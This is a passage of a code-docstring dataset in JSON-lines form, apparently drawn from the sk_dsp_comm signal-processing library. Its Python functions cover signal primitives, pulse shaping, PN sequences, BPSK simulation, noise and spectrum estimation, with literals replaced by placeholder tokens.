x1 corresponding to tx1\ntx1 : ndarray time axis for x1\nx2  : ndarray of signal x2 corresponding to tx2\ntx2 : ndarray time axis for x2\nextent : ('e1','e2') where 'e1', 'e2' may be 'f' finite, 'r' right-sided, or 'l' left-sided\n\nReturns\n-------\ny : ndarray of output values y\nty : ndarray of the corresponding time axis for y\n\nNotes\n-----\nThe output time axis starts at the sum of the starting values in x1 and x2 \nand ends at the sum of the two ending values in x1 and x2. The time steps used in\nx1(t) and x2(t) must match. The default extents of ('f','f') are used for signals\nthat are active (have support) on or within t1 and t2 respectively. A right-sided\nsignal such as exp(-a*t)*u(t) is semi-infinite, so it has extent 'r' and the\nconvolution output will be truncated to display only the valid results.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> import numpy as np\n>>> import sk_dsp_comm.sigsys as ss\n>>> tx = np.arange(-5,10,.01)\n>>> x = ss.rect(tx-2,4) # pulse starts at t = 0\n>>> y,ty = ss.conv_integral(x,tx,x,tx)\n>>> plt.plot(ty,y) # expect a triangle on [0,8]\n>>> plt.show()\n\nNow, consider a pulse convolved with an exponential.\n\n>>> h = 4*np.exp(-4*tx)*ss.step(tx)\n>>> y,ty = ss.conv_integral(x,tx,h,tx,extent=('f','r')) # note extents set\n>>> plt.plot(ty,y) # expect a pulse charge and discharge waveform", "id": "f14910:m25"}
{"signature": "def delta_eps(t,eps):", "body": "d = np.zeros(len(t))<EOL>for k,tt in enumerate(t):<EOL><INDENT>if abs(tt) <= eps/<NUM_LIT>:<EOL><INDENT>d[k] = <NUM_LIT:1>/float(eps)<EOL><DEDENT><DEDENT>return d<EOL>", "docstring": "Rectangular pulse approximation to impulse function.\n\nParameters\n----------\nt : ndarray of time axis\neps : pulse width\n\nReturns\n-------\nd : ndarray containing the impulse approximation\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm.sigsys import delta_eps\n>>> t = np.arange(-2,2,.001)\n>>> d = delta_eps(t,.1)\n>>> plt.plot(t,d)\n>>> plt.show()", "id": "f14910:m26"}
{"signature": "def step(t):", "body": "x = np.zeros(len(t))<EOL>for k,tt in enumerate(t):<EOL><INDENT>if tt >= <NUM_LIT:0>:<EOL><INDENT>x[k] = <NUM_LIT:1.0><EOL><DEDENT><DEDENT>return x<EOL>", "docstring": "Approximation to step function signal u(t).\n\nIn this numerical version of u(t) the step turns on at t = 0.\n\nParameters\n----------\nt : ndarray of the time axis\n\nReturns\n-------\nx : ndarray of the step function signal u(t)\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm.sigsys import step\n>>> t = arange(-1,5,.01)\n>>> x = step(t)\n>>> plt.plot(t,x)\n>>> plt.ylim([-0.01, 1.01])\n>>> plt.show()\n\nTo turn on at t = 1, shift t.\n\n>>> x = step(t - 1.0)\n>>> plt.ylim([-0.01, 1.01])\n>>> plt.plot(t,x)", "id": "f14910:m27"}
{"signature": "def rect(t,tau):", "body": "x = np.zeros(len(t))<EOL>for k,tk in enumerate(t):<EOL><INDENT>if np.abs(tk) > tau/<NUM_LIT>:<EOL><INDENT>x[k] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>x[k] = <NUM_LIT:1><EOL><DEDENT><DEDENT>return x<EOL>", "docstring": "Approximation to the rectangle pulse Pi(t/tau).\n\nIn this numerical version of Pi(t/tau) the pulse is active\nover -tau/2 <= t <= tau/2.\n\nParameters\n----------\nt : ndarray of the time axis\ntau : the pulse width\n\nReturns\n-------\nx : ndarray of the signal Pi(t/tau)\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm.sigsys import rect\n>>> t = arange(-1,5,.01)\n>>> x = rect(t,1.0)\n>>> plt.plot(t,x)\n>>> plt.ylim([0, 1.01])\n>>> plt.show()\n\nTo turn on the pulse at t = 1 shift t.\n\n>>> x = rect(t - 1.0,1.0)\n>>> plt.plot(t,x)\n>>> plt.ylim([0, 1.01])", "id": "f14910:m28"}
{"signature": "def tri(t,tau):", "body": "x = np.zeros(len(t))<EOL>for k,tk in enumerate(t):<EOL><INDENT>if np.abs(tk) > tau/<NUM_LIT:1.>:<EOL><INDENT>x[k] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>x[k] = <NUM_LIT:1> - np.abs(tk)/tau<EOL><DEDENT><DEDENT>return x<EOL>", "docstring": "Approximation to the triangle pulse Lambda(t/tau).\n\nIn this numerical version of Lambda(t/tau) the pulse is active\nover -tau <= t <= tau.\n\nParameters\n----------\nt : ndarray of the time axis\ntau : one half the triangle base width\n\nReturns\n-------\nx : ndarray of the signal Lambda(t/tau)\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm.sigsys import tri\n>>> t = arange(-1,5,.01)\n>>> x = tri(t,1.0)\n>>> plt.plot(t,x)\n>>> plt.show()\n\nTo turn on at t = 1, shift t.\n\n>>> x = tri(t - 1.0,1.0)\n>>> plt.plot(t,x)", "id": "f14910:m29"}
{"signature": "def dimpulse(n):", "body": "x = np.zeros(len(n))<EOL>for k,nn in enumerate(n):<EOL><INDENT>if nn == <NUM_LIT:0>:<EOL><INDENT>x[k] = <NUM_LIT:1.0><EOL><DEDENT><DEDENT>return x<EOL>", "docstring": "Discrete impulse function delta[n].\n\nParameters\n----------\nn : ndarray of the time axis\n\nReturns\n-------\nx : ndarray of the signal delta[n]\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm.sigsys import dimpulse\n>>> n = arange(-5,5)\n>>> x = dimpulse(n)\n>>> plt.stem(n,x)\n>>> plt.show()\n\nShift the delta left by 2.\n\n>>> x = dimpulse(n+2)\n>>> plt.stem(n,x)", "id": "f14910:m30"}
{"signature": "def dstep(n):", "body": "x = np.zeros(len(n))<EOL>for k,nn in enumerate(n):<EOL><INDENT>if nn >= <NUM_LIT:0>:<EOL><INDENT>x[k] = <NUM_LIT:1.0><EOL><DEDENT><DEDENT>return x<EOL>", "docstring": "Discrete step function u[n].\n\nParameters\n----------\nn : ndarray of the time axis\n\nReturns\n-------\nx : ndarray of the signal u[n]\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm.sigsys import dstep\n>>> n = arange(-5,5)\n>>> x = dstep(n)\n>>> plt.stem(n,x)\n>>> plt.show()\n\nShift the delta left by 2.\n\n>>> x = dstep(n+2)\n>>> plt.stem(n,x)", "id": "f14910:m31"}
{"signature": "def drect(n,N):", "body": "x = np.zeros(len(n))<EOL>for k,nn in enumerate(n):<EOL><INDENT>if nn >= <NUM_LIT:0> and nn < N:<EOL><INDENT>x[k] = <NUM_LIT:1.0><EOL><DEDENT><DEDENT>return x<EOL>", "docstring": "Discrete rectangle function of duration N samples.\n\nThe signal is active on the interval 0 <= n <= N-1. Also known\nas the rectangular window function, which is available in \nscipy.signal.\n\nParameters\n----------\nn : ndarray of the time axis\nN : the pulse duration\n\nReturns\n-------\nx : ndarray of the signal\n\nNotes\n-----\nThe discrete rectangle turns on at n = 0, off at n = N-1 and \nhas duration of exactly N samples.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm.sigsys import drect\n>>> n = arange(-5,5)\n>>> x = drect(n, N=3)\n>>> plt.stem(n,x)\n>>> plt.show()\n\nShift the delta left by 2.\n\n>>> x = drect(n+2, N=3)\n>>> plt.stem(n,x)", "id": "f14910:m32"}
{"signature": "def rc_imp(Ns,alpha,M=<NUM_LIT:6>):", "body": "<EOL>n = np.arange(-M*Ns,M*Ns+<NUM_LIT:1>)<EOL>b = np.zeros(len(n));<EOL>a = alpha;<EOL>Ns *= <NUM_LIT:1.0><EOL>for i in range(len(n)):<EOL><INDENT>if (<NUM_LIT:1> - <NUM_LIT:4>*(a*n[i]/Ns)**<NUM_LIT:2>) == <NUM_LIT:0>:<EOL><INDENT>b[i] = np.pi/<NUM_LIT:4>*np.sinc(<NUM_LIT:1>/(<NUM_LIT>*a))<EOL><DEDENT>else:<EOL><INDENT>b[i] = np.sinc(n[i]/Ns)*np.cos(np.pi*a*n[i]/Ns)/(<NUM_LIT:1> - <NUM_LIT:4>*(a*n[i]/Ns)**<NUM_LIT:2>)<EOL><DEDENT><DEDENT>return b<EOL>", "docstring": "A truncated raised cosine pulse used in digital communications.\n\nThe pulse shaping factor :math:`0< \\\\alpha < 1` is required as well as the\ntruncation factor M which sets the pulse duration to be 2*M*Tsymbol.\n\nParameters\n----------\nNs : number of samples per symbol\nalpha : excess bandwidth factor on (0, 1), e.g., 0.35\nM : equals RC one-sided symbol truncation factor\n\nReturns\n-------\nb : ndarray containing the pulse shape\n\nNotes\n-----\nThe pulse shape b is typically used as the FIR filter coefficients\nwhen forming a pulse shaped digital communications waveform.\n\nExamples\n--------\nTen samples per symbol and alpha = 0.35.\n\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm.sigsys import rc_imp\n>>> b = rc_imp(10,0.35)\n>>> n = arange(-10*6,10*6+1)\n>>> plt.stem(n,b)\n>>> plt.show()", "id": "f14910:m33"}
{"signature": "def sqrt_rc_imp(Ns,alpha,M=<NUM_LIT:6>):", "body": "<EOL>n = np.arange(-M*Ns,M*Ns+<NUM_LIT:1>)<EOL>b = np.zeros(len(n))<EOL>Ns *= <NUM_LIT:1.0><EOL>a = alpha<EOL>for i in range(len(n)):<EOL><INDENT>if abs(<NUM_LIT:1> - <NUM_LIT:16>*a**<NUM_LIT:2>*(n[i]/Ns)**<NUM_LIT:2>) <= np.finfo(np.float).eps/<NUM_LIT:2>:<EOL><INDENT>b[i] = <NUM_LIT:1>/<NUM_LIT>*((<NUM_LIT:1>+a)*np.sin((<NUM_LIT:1>+a)*np.pi/(<NUM_LIT>*a))-(<NUM_LIT:1>-a)*np.cos((<NUM_LIT:1>-a)*np.pi/(<NUM_LIT>*a))+(<NUM_LIT:4>*a)/np.pi*np.sin((<NUM_LIT:1>-a)*np.pi/(<NUM_LIT>*a)))<EOL><DEDENT>else:<EOL><INDENT>b[i] = <NUM_LIT:4>*a/(np.pi*(<NUM_LIT:1> - <NUM_LIT:16>*a**<NUM_LIT:2>*(n[i]/Ns)**<NUM_LIT:2>))<EOL>b[i] = b[i]*(np.cos((<NUM_LIT:1>+a)*np.pi*n[i]/Ns) + np.sinc((<NUM_LIT:1>-a)*n[i]/Ns)*(<NUM_LIT:1>-a)*np.pi/(<NUM_LIT>*a))<EOL><DEDENT><DEDENT>return b<EOL>", "docstring": "A truncated square root raised cosine pulse used in digital communications.\n\nThe pulse shaping factor 0< alpha < 1 is required as well as the \ntruncation factor M which sets the pulse duration to be 2*M*Tsymbol.\n\n\nParameters\n----------\nNs : number of samples per symbol\nalpha : excess bandwidth factor on (0, 1), e.g., 0.35\nM : equals RC one-sided symbol truncation factor\n\nReturns\n-------\nb : ndarray containing the pulse shape\n\nNotes\n-----\nThe pulse shape b is typically used as the FIR filter coefficients\nwhen forming a pulse shaped digital communications waveform. When \nsquare root raised cosine (SRC) pulse is used generate Tx signals and \nat the receiver used as a matched filter (receiver FIR filter), the \nreceived signal is now raised cosine shaped, this having zero \nintersymbol interference and the optimum removal of additive white \nnoise if present at the receiver input.\n\nExamples\n--------\n>>> # ten samples per symbol and alpha = 0.35\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm.sigsys import sqrt_rc_imp\n>>> b = sqrt_rc_imp(10,0.35)\n>>> n = arange(-10*6,10*6+1)\n>>> plt.stem(n,b)\n>>> plt.show()", "id": "f14910:m34"}
{"signature": "def PN_gen(N_bits,m=<NUM_LIT:5>):", "body": "c = m_seq(m)<EOL>Q = len(c)<EOL>max_periods = int(np.ceil(N_bits/float(Q)))<EOL>PN = np.zeros(max_periods*Q)<EOL>for k in range(max_periods):<EOL><INDENT>PN[k*Q:(k+<NUM_LIT:1>)*Q] = c<EOL><DEDENT>PN = np.resize(PN, (<NUM_LIT:1>,N_bits))<EOL>return PN.flatten()<EOL>", "docstring": "Maximal length sequence signal generator.\n\nGenerates a sequence 0/1 bits of N_bit duration. The bits themselves\nare obtained from an m-sequence of length m. Available m-sequence\n(PN generators) include m = 2,3,...,12, & 16.\n\nParameters\n----------\nN_bits : the number of bits to generate\nm : the number of shift registers. 2,3, .., 12, & 16\n\nReturns\n-------\nPN : ndarray of the generator output over N_bits\n\nNotes\n-----\nThe sequence is periodic having period 2**m - 1 (2^m - 1).\n\nExamples\n--------\n>>> # A 15 bit period signal nover 50 bits\n>>> PN = PN_gen(50,4)", "id": "f14910:m35"}
{"signature": "def m_seq(m):", "body": "if m == <NUM_LIT:2>:<EOL><INDENT>taps = np.array([<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>])<EOL><DEDENT>elif m == <NUM_LIT:3>:<EOL><INDENT>taps = np.array([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>])<EOL><DEDENT>elif m == <NUM_LIT:4>:<EOL><INDENT>taps = np.array([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>])<EOL><DEDENT>elif m == <NUM_LIT:5>:<EOL><INDENT>taps = np.array([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>])<EOL><DEDENT>elif m == <NUM_LIT:6>:<EOL><INDENT>taps = np.array([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>])<EOL><DEDENT>elif m == <NUM_LIT:7>:<EOL><INDENT>taps = np.array([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>])<EOL><DEDENT>elif m == <NUM_LIT:8>:<EOL><INDENT>taps = np.array([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>])<EOL><DEDENT>elif m == <NUM_LIT:9>:<EOL><INDENT>taps = np.array([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>])<EOL><DEDENT>elif m == <NUM_LIT:10>:<EOL><INDENT>taps = np.array([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>])<EOL><DEDENT>elif m == <NUM_LIT:11>:<EOL><INDENT>taps = np.array([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>])<EOL><DEDENT>elif m == <NUM_LIT:12>:<EOL><INDENT>taps = np.array([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>])<EOL><DEDENT>elif m == <NUM_LIT:16>:<EOL><INDENT>taps = np.array([<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>sr = np.ones(m)<EOL>Q = <NUM_LIT:2>**m - <NUM_LIT:1><EOL>c = np.zeros(Q)<EOL>for n in range(Q):<EOL><INDENT>tap_xor = <NUM_LIT:0><EOL>c[n] = sr[-<NUM_LIT:1>]<EOL>for k in range(<NUM_LIT:1>,m):<EOL><INDENT>if taps[k] == <NUM_LIT:1>:<EOL><INDENT>tap_xor = np.bitwise_xor(tap_xor,np.bitwise_xor(int(sr[-<NUM_LIT:1>]),int(sr[m-<NUM_LIT:1>-k])))<EOL><DEDENT><DEDENT>sr[<NUM_LIT:1>:] = sr[:-<NUM_LIT:1>]<EOL>sr[<NUM_LIT:0>] = tap_xor<EOL><DEDENT>return c<EOL>", "docstring": "Generate an m-sequence ndarray using an all-ones initialization.\n\nAvailable m-sequence (PN generators) include m = 2,3,...,12, & 16.\n\nParameters\n----------\nm : the number of shift registers. 2,3, .., 12, & 16\n\nReturns\n-------\nc : ndarray of one period of the m-sequence\n\nNotes\n-----\nThe sequence period is 2**m - 1 (2^m - 1).  \n\nExamples\n--------\n>>> c = m_seq(5)", "id": "f14910:m36"}
{"signature": "def BPSK_tx(N_bits,Ns,ach_fc=<NUM_LIT>,ach_lvl_dB=-<NUM_LIT:100>,pulse='<STR_LIT>',alpha = <NUM_LIT>,M=<NUM_LIT:6>):", "body": "pulse_types = ['<STR_LIT>', '<STR_LIT:src>']<EOL>if pulse not in pulse_types:<EOL><INDENT>raise ValueError('<STR_LIT>''<STR_LIT>')<EOL><DEDENT>x0,b,data0 = NRZ_bits(N_bits,Ns,pulse,alpha,M)<EOL>x1p,b,data1p = NRZ_bits(N_bits,Ns,pulse,alpha,M)<EOL>x1m,b,data1m = NRZ_bits(N_bits,Ns,pulse,alpha,M)<EOL>n = np.arange(len(x0))<EOL>x1p = x1p*np.exp(<NUM_LIT>*<NUM_LIT:2>*np.pi*ach_fc/float(Ns)*n)<EOL>x1m = x1m*np.exp(-<NUM_LIT>*<NUM_LIT:2>*np.pi*ach_fc/float(Ns)*n)<EOL>ach_lvl = <NUM_LIT:10>**(ach_lvl_dB/<NUM_LIT>)<EOL>return x0 + ach_lvl*(x1p + x1m), b, data0<EOL>", "docstring": "Generates biphase shift keyed (BPSK) transmitter with adjacent channel interference.\n\nGenerates three BPSK signals with rectangular or square root raised cosine (SRC) \npulse shaping of duration N_bits and Ns samples per bit. The desired signal is\ncentered on f = 0, which the adjacent channel signals to the left and right\nare also generated at dB level relative to the desired signal. Used in the \ndigital communications Case Study supplement.\n\nParameters\n----------\nN_bits : the number of bits to simulate\nNs : the number of samples per bit\nach_fc : the frequency offset of the adjacent channel signals (default 2.0)\nach_lvl_dB : the level of the adjacent channel signals in dB (default -100)\npulse :the pulse shape 'rect' or 'src'\nalpha : square root raised cosine pulse shape factor (default = 0.25)\nM : square root raised cosine pulse truncation factor (default = 6)\n\nReturns\n-------\nx : ndarray of the composite signal x0 + ach_lvl*(x1p + x1m)\nb : the transmit pulse shape \ndata0 : the data bits used to form the desired signal; used for error checking\n\nNotes\n-----\n\nExamples\n--------\n>>> x,b,data0 = BPSK_tx(1000,10,pulse='src')", "id": "f14910:m37"}
{"signature": "def NRZ_bits(N_bits,Ns,pulse='<STR_LIT>',alpha = <NUM_LIT>,M=<NUM_LIT:6>):", "body": "data = np.random.randint(<NUM_LIT:0>,<NUM_LIT:2>,N_bits)<EOL>n_zeros = np.zeros((N_bits,int(Ns)-<NUM_LIT:1>))<EOL>x = np.hstack((<NUM_LIT:2>*data.reshape(N_bits,<NUM_LIT:1>)-<NUM_LIT:1>,n_zeros))<EOL>x =x.flatten()<EOL>if pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = np.ones(int(Ns))<EOL><DEDENT>elif pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = rc_imp(Ns,alpha,M)<EOL><DEDENT>elif pulse.lower() == '<STR_LIT:src>':<EOL><INDENT>b = sqrt_rc_imp(Ns,alpha,M)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>x = signal.lfilter(b,<NUM_LIT:1>,x)<EOL>return x,b/float(Ns),data<EOL>", "docstring": "Generate non-return-to-zero (NRZ) data bits with pulse shaping.\n\nA baseband digital data signal using +/-1 amplitude signal values\nand including pulse shaping.\n\nParameters\n----------\nN_bits : number of NRZ +/-1 data bits to produce\nNs : the number of samples per bit,\npulse_type : 'rect' , 'rc', 'src' (default 'rect')\nalpha : excess bandwidth factor(default 0.25)\nM : single sided pulse duration (default = 6) \n\nReturns\n-------\nx : ndarray of the NRZ signal values\nb : ndarray of the pulse shape\ndata : ndarray of the underlying data bits\n\nNotes\n-----\nPulse shapes include 'rect' (rectangular), 'rc' (raised cosine), \n'src' (root raised cosine). The actual pulse length is 2*M+1 samples.\nThis function is used by BPSK_tx in the Case Study article.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm.sigsys import NRZ_bits\n>>> from numpy import arange\n>>> x,b,data = NRZ_bits(100, 10)\n>>> t = arange(len(x))\n>>> plt.plot(t, x)\n>>> plt.ylim([-1.01, 1.01])\n>>> plt.show()", "id": "f14910:m38"}
{"signature": "def NRZ_bits2(data,Ns,pulse='<STR_LIT>',alpha = <NUM_LIT>,M=<NUM_LIT:6>):", "body": "N_bits = len(data)<EOL>n_zeros = np.zeros((N_bits,int(Ns)-<NUM_LIT:1>))<EOL>x = np.hstack((<NUM_LIT:2>*data.reshape(N_bits,<NUM_LIT:1>)-<NUM_LIT:1>,n_zeros))<EOL>x = x.flatten()<EOL>if pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = np.ones(int(Ns))<EOL><DEDENT>elif pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = rc_imp(Ns,alpha,M)<EOL><DEDENT>elif pulse.lower() == '<STR_LIT:src>':<EOL><INDENT>b = sqrt_rc_imp(Ns,alpha,M)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>x = signal.lfilter(b,<NUM_LIT:1>,x)<EOL>return x,b/float(Ns)<EOL>", "docstring": "Generate non-return-to-zero (NRZ) data bits with pulse shaping with user data\n\nA baseband digital data signal using +/-1 amplitude signal values\nand including pulse shaping. The data sequence is user supplied.\n\nParameters\n----------\ndata : ndarray of the data bits as 0/1 values\nNs : the number of samples per bit,\npulse_type : 'rect' , 'rc', 'src' (default 'rect')\nalpha : excess bandwidth factor(default 0.25)\nM : single sided pulse duration (default = 6) \n\nReturns\n-------\nx : ndarray of the NRZ signal values\nb : ndarray of the pulse shape\n\nNotes\n-----\nPulse shapes include 'rect' (rectangular), 'rc' (raised cosine), \n'src' (root raised cosine). The actual pulse length is 2*M+1 samples.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm.sigsys import NRZ_bits2\n>>> from sk_dsp_comm.sigsys import m_seq\n>>> from numpy import arange\n>>> x,b = NRZ_bits2(m_seq(5),10)\n>>> t = arange(len(x))\n>>> plt.ylim([-1.01, 1.01])\n>>> plt.plot(t,x)", "id": "f14910:m39"}
{"signature": "def eye_plot(x,L,S=<NUM_LIT:0>):", "body": "plt.figure(figsize=(<NUM_LIT:6>,<NUM_LIT:4>))<EOL>idx = np.arange(<NUM_LIT:0>,L+<NUM_LIT:1>)<EOL>plt.plot(idx,x[S:S+L+<NUM_LIT:1>],'<STR_LIT:b>')<EOL>k_max = int((len(x) - S)/L)-<NUM_LIT:1><EOL>for k in range(<NUM_LIT:1>,k_max):<EOL><INDENT>plt.plot(idx,x[S+k*L:S+L+<NUM_LIT:1>+k*L],'<STR_LIT:b>')<EOL><DEDENT>plt.grid()<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>return <NUM_LIT:0><EOL>", "docstring": "Eye pattern plot of a baseband digital communications waveform.\n\nThe signal must be real, but can be multivalued in terms of the underlying\nmodulation scheme. Used for BPSK eye plots in the Case Study article.\n\nParameters\n----------\nx : ndarray of the real input data vector/array\nL : display length in samples (usually two symbols)\nS : start index\n\nReturns\n-------\nNothing : A plot window opens containing the eye plot\n\nNotes\n-----\nIncrease S to eliminate filter transients.\n\nExamples\n--------\n1000 bits at 10 samples per bit with 'rc' shaping.\n\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm import sigsys as ss\n>>> x,b, data = ss.NRZ_bits(1000,10,'rc')\n>>> ss.eye_plot(x,20,60)", "id": "f14910:m40"}
{"signature": "def scatter(x,Ns,start):", "body": "xI = np.real(x[start::Ns])<EOL>xQ = np.imag(x[start::Ns])<EOL>return xI, xQ<EOL>", "docstring": "Sample a baseband digital communications waveform at the symbol spacing.\n\nParameters\n----------\nx : ndarray of the input digital comm signal\nNs : number of samples per symbol (bit)\nstart : the array index to start the sampling\n\nReturns\n-------\nxI : ndarray of the real part of x following sampling\nxQ : ndarray of the imaginary part of x following sampling\n\nNotes\n-----\nNormally the signal is complex, so the scatter plot contains \nclusters at points in the complex plane. For a binary signal\nsuch as BPSK, the point centers are nominally +/-1 on the real\naxis. Start is used to eliminate transients from the FIR\npulse shaping filters from appearing in the scatter plot.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm import sigsys as ss\n>>> x,b, data = ss.NRZ_bits(1000,10,'rc')\n>>> # Add some noise so points are now scattered about +/-1\n>>> y = ss.cpx_AWGN(x,20,10)\n>>> yI,yQ = ss.scatter(y,10,60)\n>>> plt.plot(yI,yQ,'.')\n>>> plt.axis('equal')\n>>> plt.ylabel(\"Quadrature\")\n>>> plt.xlabel(\"In-Phase\")\n>>> plt.grid()\n>>> plt.show()", "id": "f14910:m41"}
{"signature": "def bit_errors(z,data,start,Ns):", "body": "Pe_hat = np.sum(data[<NUM_LIT:0>:len(z[start::Ns])]^np.int64((np.sign(np.real(z[start::Ns]))+<NUM_LIT:1>)/<NUM_LIT:2>))/float(len(z[start::Ns]))<EOL>return Pe_hat<EOL>", "docstring": "A simple bit error counting function.\n\nIn its present form this function counts bit errors between\nhard decision BPSK bits in +/-1 form and compares them with\n0/1 binary data that was transmitted. Timing between the Tx\nand Rx data is the responsibility of the user. An enhanced \nversion of this function, which features automatic synching\nwill be created in the future.\n\nParameters\n----------\nz : ndarray of hard decision BPSK data prior to symbol spaced sampling\ndata : ndarray of reference bits in 1/0 format\nstart : timing reference for the received\nNs : the number of samples per symbol\n\nReturns\n-------\nPe_hat : the estimated probability of a bit error\n\nNotes\n-----\nThe Tx and Rx data streams are exclusive-or'd and the then the bit errors\nare summed, and finally divided by the number of bits observed to form an\nestimate of the bit error probability. This function needs to be \nenhanced to be more useful.\n\nExamples\n--------\n>>> from scipy import signal\n>>> x,b, data = NRZ_bits(1000,10)\n>>> # set Eb/N0 to 8 dB\n>>>  y = cpx_AWGN(x,8,10)\n>>> # matched filter the signal\n>>> z = signal.lfilter(b,1,y)\n>>> # make bit decisions at 10 and Ns multiples thereafter\n>>> Pe_hat = bit_errors(z,data,10,10)", "id": "f14910:m42"}
{"signature": "def cpx_AWGN(x,EsN0,Ns):", "body": "w = np.sqrt(Ns*np.var(x)*<NUM_LIT:10>**(-EsN0/<NUM_LIT>)/<NUM_LIT>)*(np.random.randn(len(x)) + <NUM_LIT>*np.random.randn(len(x)))                            <EOL>return x+w<EOL>", "docstring": "Apply white Gaussian noise to a digital communications signal.\n\nThis function represents a complex baseband white Gaussian noise\ndigital communications channel. The input signal array may be real\nor complex.\n\nParameters\n----------\nx : ndarray noise free complex baseband input signal.\nEsNO : set the channel Es/N0 (Eb/N0 for binary) level in dB\nNs : number of samples per symbol (bit)\n\nReturns\n-------\ny : ndarray x with additive noise added.\n\nNotes\n-----\nSet the channel energy per symbol-to-noise power spectral \ndensity ratio (Es/N0) in dB.\n\nExamples\n--------\n>>> x,b, data = NRZ_bits(1000,10)\n>>> # set Eb/N0 = 10 dB\n>>> y = cpx_AWGN(x,10,10)", "id": "f14910:m43"}
{"signature": "def my_psd(x,NFFT=<NUM_LIT:2>**<NUM_LIT:10>,Fs=<NUM_LIT:1>):", "body": "Px,f = pylab.mlab.psd(x,NFFT,Fs)<EOL>return Px.flatten(), f<EOL>", "docstring": "A local version of NumPy's PSD function that returns the plot arrays.\n\nA mlab.psd wrapper function that returns two ndarrays;\nmakes no attempt to auto plot anything.\n\nParameters\n----------\nx : ndarray input signal\nNFFT : a power of two, e.g., 2**10 = 1024\nFs : the sampling rate in Hz\n\nReturns\n-------\nPx : ndarray of the power spectrum estimate\nf : ndarray of frequency values\n\nNotes\n-----\nThis function makes it easier to overlay spectrum plots because\nyou have better control over the axis scaling than when using psd()\nin the autoscale mode.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from numpy import log10\n>>> from sk_dsp_comm import sigsys as ss\n>>> x,b, data = ss.NRZ_bits(10000,10)\n>>> Px,f = ss.my_psd(x,2**10,10)\n>>> plt.plot(f, 10*log10(Px))\n>>> plt.ylabel(\"Power Spectral Density (dB)\")\n>>> plt.xlabel(\"Frequency (Hz)\")\n>>> plt.show()", "id": "f14910:m44"}
